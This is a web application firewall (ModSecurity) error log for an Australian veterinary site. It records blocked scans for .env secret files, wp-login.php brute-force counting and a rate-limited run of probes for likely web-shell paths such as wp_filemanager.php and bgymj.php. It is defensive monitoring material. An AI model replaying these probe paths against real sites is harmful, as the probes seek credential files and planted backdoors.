[Sat Apr 25 11:40:29.110755 2026] [:error] [pid 46083:tid 46103] [client 195.178.110.105:42920] [client 195.178.110.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.prod"] [unique_id "aew3rTxw_Zq74vWdjmnBuQAAARA"]
[Sat Apr 25 11:40:29.112418 2026] [:error] [pid 44425:tid 44436] [client 195.178.110.105:42892] [client 195.178.110.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production"] [unique_id "aew3rSUl-VlItvY2tR9vfAAAAMk"]
[Sat Apr 25 11:40:30.353271 2026] [:error] [pid 46083:tid 46111] [client 195.178.110.105:43040] [client 195.178.110.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.staging"] [unique_id "aew3rjxw_Zq74vWdjmnBvwAAARc"]
[Sat Apr 25 11:40:30.353989 2026] [:error] [pid 44425:tid 44435] [client 195.178.110.105:43000] [client 195.178.110.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development"] [unique_id "aew3riUl-VlItvY2tR9vfgAAAMg"]
[Sat Apr 25 11:40:30.354319 2026] [:error] [pid 44425:tid 44445] [client 195.178.110.105:43036] [client 195.178.110.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev"] [unique_id "aew3riUl-VlItvY2tR9vfwAAANI"]
[Sat Apr 25 11:51:19.198484 2026] [:error] [pid 44425:tid 44447] [client 20.216.189.83:1280] [client 20.216.189.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.216.189.83, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aew6NyUl-VlItvY2tR9yHQAAANQ"]
[Sat Apr 25 12:00:02.807899 2026] [:error] [pid 46083:tid 46104] [client 178.62.28.91:34916] [client 178.62.28.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.28.91, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aew8Qjxw_Zq74vWdjmnIEwAAARE"]
[Sat Apr 25 13:23:50.911176 2026] [:error] [pid 44425:tid 44435] [client 211.21.61.223:53720] [client 211.21.61.223] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.223, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aexP5iUl-VlItvY2tR-IXAAAAMg"]
[Sat Apr 25 14:42:52.574510 2026] [:error] [pid 44319:tid 44329] [client 170.106.160.90:40136] [client 170.106.160.90] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aexibMzJPAVLUb2pWtKecQAAAAA"]
[Sat Apr 25 14:49:30.870930 2026] [:error] [pid 44321:tid 44388] [client 160.30.179.124:35814] [client 160.30.179.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env"] [unique_id "aexj-o1b5lV-asWa_Y6nhwAAAIU"]
[Sat Apr 25 15:26:54.250084 2026] [:error] [pid 46083:tid 46099] [client 106.54.62.156:60686] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aexsvjxw_Zq74vWdjmn2QAAAAQw"]
[Sat Apr 25 17:16:21.310559 2026] [:error] [pid 62632:tid 62738] [client 103.85.84.51:38512] [client 103.85.84.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.85.84.51, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeyGZQo5oFy5kfJhz1ZPcAAAAME"]
[Sat Apr 25 19:40:36.809794 2026] [:error] [pid 16108:tid 16182] [client 43.153.113.127:35136] [client 43.153.113.127] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeyoNIbPF4HSQDj6Wrl4bAAAANA"]
[Sat Apr 25 20:08:05.728647 2026] [:error] [pid 16108:tid 16170] [client 37.77.106.60:37762] [client 37.77.106.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.77.106.60, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeyupYbPF4HSQDj6WrmRFAAAAMY"]
[Sat Apr 25 20:24:06.154792 2026] [:error] [pid 59898:tid 59963] [client 158.158.73.199:14573] [client 158.158.73.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeyyZh-4vImxb0kbdzeYywAAAMk"]
[Sat Apr 25 20:24:07.089535 2026] [:error] [pid 59898:tid 59958] [client 158.158.73.199:24254] [client 158.158.73.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeyyZx-4vImxb0kbdzeY0gAAAMQ"]
[Sat Apr 25 20:24:07.990228 2026] [:error] [pid 59896:tid 59910] [client 158.158.73.199:31253] [client 158.158.73.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeyyZ7LLzhtkd-OXUgDYwAAAAEo"]
[Sat Apr 25 20:24:08.617597 2026] [:error] [pid 59898:tid 59978] [client 158.158.73.199:1308] [client 158.158.73.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeyyaB-4vImxb0kbdzeY1gAAANg"]
[Sat Apr 25 20:46:54.338612 2026] [:error] [pid 59896:tid 59922] [client 51.83.35.19:46566] [client 51.83.35.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.83.35.19, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aey3vrLLzhtkd-OXUgDjkQAAAFY"]
[Sat Apr 25 20:57:08.331216 2026] [:error] [pid 59985:tid 59990] [client 74.248.33.118:58540] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/locales.php"] [unique_id "aey6JAF_zDvEhKvyTH6orAAAAAM"]
[Sat Apr 25 20:57:09.011772 2026] [:error] [pid 59896:tid 59920] [client 74.248.33.118:59869] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/locales.php"] [unique_id "aey6JbLLzhtkd-OXUgDngwAAAFQ"]
[Sat Apr 25 20:57:09.824985 2026] [:error] [pid 59896:tid 59915] [client 74.248.33.118:61873] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/locales.php"] [unique_id "aey6JbLLzhtkd-OXUgDniQAAAE8"]
[Sat Apr 25 20:57:11.301479 2026] [:error] [pid 59896:tid 59904] [client 74.248.33.118:57304] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/locales.php"] [unique_id "aey6J7LLzhtkd-OXUgDnkQAAAEQ"]
[Sat Apr 25 20:57:12.218857 2026] [:error] [pid 59897:tid 59931] [client 74.248.33.118:57291] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aey6KPBrrkdzpEbmK4d_qQAAAIQ"]
[Sat Apr 25 20:57:13.134412 2026] [:error] [pid 59985:tid 59996] [client 74.248.33.118:57315] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aey6KQF_zDvEhKvyTH6otQAAAAk"]
[Sat Apr 25 20:57:14.052602 2026] [:error] [pid 59985:tid 59991] [client 74.248.33.118:58547] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aey6KgF_zDvEhKvyTH6ouAAAAAQ"]
[Sat Apr 25 20:57:15.216711 2026] [:error] [pid 59896:tid 59920] [client 74.248.33.118:59841] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aey6K7LLzhtkd-OXUgDnnQAAAFQ"]
[Sat Apr 25 20:57:15.998119 2026] [:error] [pid 59896:tid 59919] [client 74.248.33.118:58578] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pucci.php"] [unique_id "aey6K7LLzhtkd-OXUgDnoAAAAFM"]
[Sat Apr 25 20:57:16.849054 2026] [:error] [pid 59897:tid 59941] [client 74.248.33.118:61563] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pucci.php"] [unique_id "aey6LPBrrkdzpEbmK4d_rQAAAI4"]
[Sat Apr 25 20:57:17.433942 2026] [:error] [pid 59897:tid 59928] [client 74.248.33.118:59777] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pucci.php"] [unique_id "aey6LfBrrkdzpEbmK4d_rgAAAIE"]
[Sat Apr 25 20:57:18.231394 2026] [:error] [pid 3212:tid 3221] [client 74.248.33.118:58606] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pucci.php"] [unique_id "aey6Lvg-28TY8_YLtUcjQgAAAQc"]
[Sat Apr 25 20:57:19.291281 2026] [:error] [pid 3212:tid 3223] [client 74.248.33.118:58561] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "aey6L_g-28TY8_YLtUcjRQAAAQk"]
[Sat Apr 25 20:57:20.045055 2026] [:error] [pid 3212:tid 3236] [client 74.248.33.118:59780] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "aey6MPg-28TY8_YLtUcjRwAAARY"]
[Sat Apr 25 20:57:20.835454 2026] [:error] [pid 3212:tid 3214] [client 74.248.33.118:57295] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "aey6MPg-28TY8_YLtUcjSgAAAQA"]
[Sat Apr 25 20:57:21.504617 2026] [:error] [pid 59985:tid 59987] [client 74.248.33.118:58562] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "aey6MQF_zDvEhKvyTH6ovwAAAAA"]
[Sat Apr 25 20:57:22.428536 2026] [:error] [pid 59985:tid 60000] [client 74.248.33.118:58551] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.dj/index.php"] [unique_id "aey6MgF_zDvEhKvyTH6oxAAAAA0"]
[Sat Apr 25 20:57:22.972296 2026] [:error] [pid 59898:tid 59959] [client 74.248.33.118:58583] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.dj/index.php"] [unique_id "aey6Mh-4vImxb0kbdzen7QAAAMU"]
[Sat Apr 25 20:57:23.545668 2026] [:error] [pid 3212:tid 3222] [client 74.248.33.118:57334] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.dj/index.php"] [unique_id "aey6M_g-28TY8_YLtUcjTQAAAQg"]
[Sat Apr 25 20:57:24.185080 2026] [:error] [pid 3212:tid 3221] [client 74.248.33.118:59786] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.dj/index.php"] [unique_id "aey6NPg-28TY8_YLtUcjUAAAAQc"]
[Sat Apr 25 20:57:24.766549 2026] [:error] [pid 3212:tid 3238] [client 74.248.33.118:58557] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aey6NPg-28TY8_YLtUcjVgAAARg"]
[Sat Apr 25 20:57:25.391934 2026] [:error] [pid 3212:tid 3236] [client 74.248.33.118:61868] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aey6Nfg-28TY8_YLtUcjWgAAARY"]
[Sat Apr 25 20:57:26.061453 2026] [:error] [pid 3212:tid 3214] [client 74.248.33.118:57341] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aey6Nvg-28TY8_YLtUcjWwAAAQA"]
[Sat Apr 25 20:57:26.646513 2026] [:error] [pid 3212:tid 3219] [client 74.248.33.118:6147] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aey6Nvg-28TY8_YLtUcjXQAAAQU"]
[Sat Apr 25 20:57:27.297589 2026] [:error] [pid 59898:tid 59966] [client 74.248.33.118:61508] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.tmb/"] [unique_id "aey6Nx-4vImxb0kbdzen8gAAAMw"]
[Sat Apr 25 20:57:28.010937 2026] [:error] [pid 3212:tid 3220] [client 74.248.33.118:59829] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.tmb/"] [unique_id "aey6OPg-28TY8_YLtUcjYgAAAQY"]
[Sat Apr 25 20:57:28.782646 2026] [:error] [pid 3212:tid 3227] [client 74.248.33.118:61879] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.tmb/"] [unique_id "aey6OPg-28TY8_YLtUcjZQAAAQ0"]
[Sat Apr 25 20:57:29.614412 2026] [:error] [pid 3212:tid 3214] [client 74.248.33.118:58528] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.tmb/"] [unique_id "aey6Ofg-28TY8_YLtUcjagAAAQA"]
[Sat Apr 25 20:57:30.799121 2026] [:error] [pid 3212:tid 3218] [client 74.248.33.118:58519] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/one.php"] [unique_id "aey6Ovg-28TY8_YLtUcjbgAAAQQ"]
[Sat Apr 25 20:57:31.451378 2026] [:error] [pid 59985:tid 59990] [client 74.248.33.118:58586] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/one.php"] [unique_id "aey6OwF_zDvEhKvyTH6o1QAAAAM"]
[Sat Apr 25 20:57:32.163174 2026] [:error] [pid 59897:tid 59943] [client 74.248.33.118:61852] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/one.php"] [unique_id "aey6PPBrrkdzpEbmK4d_ygAAAJA"]
[Sat Apr 25 20:57:32.780965 2026] [:error] [pid 3212:tid 3219] [client 74.248.33.118:58580] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/one.php"] [unique_id "aey6PPg-28TY8_YLtUcjeQAAAQU"]
[Sat Apr 25 20:57:33.360499 2026] [:error] [pid 59898:tid 59957] [client 74.248.33.118:58618] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no20.php"] [unique_id "aey6PR-4vImxb0kbdzen9AAAAMM"]
[Sat Apr 25 20:57:34.091844 2026] [:error] [pid 59898:tid 59972] [client 74.248.33.118:58523] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no20.php"] [unique_id "aey6Ph-4vImxb0kbdzen9gAAANI"]
[Sat Apr 25 20:57:34.838028 2026] [:error] [pid 59897:tid 59933] [client 74.248.33.118:59785] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no20.php"] [unique_id "aey6PvBrrkdzpEbmK4d_1AAAAIY"]
[Sat Apr 25 20:57:35.511279 2026] [:error] [pid 59897:tid 59928] [client 74.248.33.118:59863] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no20.php"] [unique_id "aey6P_BrrkdzpEbmK4d_1QAAAIE"]
